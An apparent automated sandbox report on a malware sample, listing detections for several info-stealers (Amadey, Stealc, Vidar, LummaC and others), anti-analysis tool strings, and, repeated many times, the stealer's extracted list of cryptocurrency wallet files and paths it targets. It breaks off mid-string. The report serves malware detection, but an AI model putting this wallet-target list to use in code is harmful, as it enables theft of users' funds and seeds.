Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C66A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 12_2_00C765E0 LookupAccountNameA,

12_2_00C765E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B8390 NSS_GetVersion,

0_2_6C5B8390

Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: procmon.exe
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.skotes.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FCFBFHIEBK.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2095183525.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2153405873.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3253136723.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2317166328.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2166561080.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2135538626.0000000000791000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2125859235.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2112173994.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Nymaim

Source: Yara match	File source: 15.2.adebfeb535.exe.4940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.adebfeb535.exe.4a30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.adebfeb535.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.adebfeb535.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3253380575.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2581320069.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1682475853.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130184923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2930941687.0000000000391000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130548114.0000000000B61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2878391361.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d88d6966da.exe PID: 7844, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 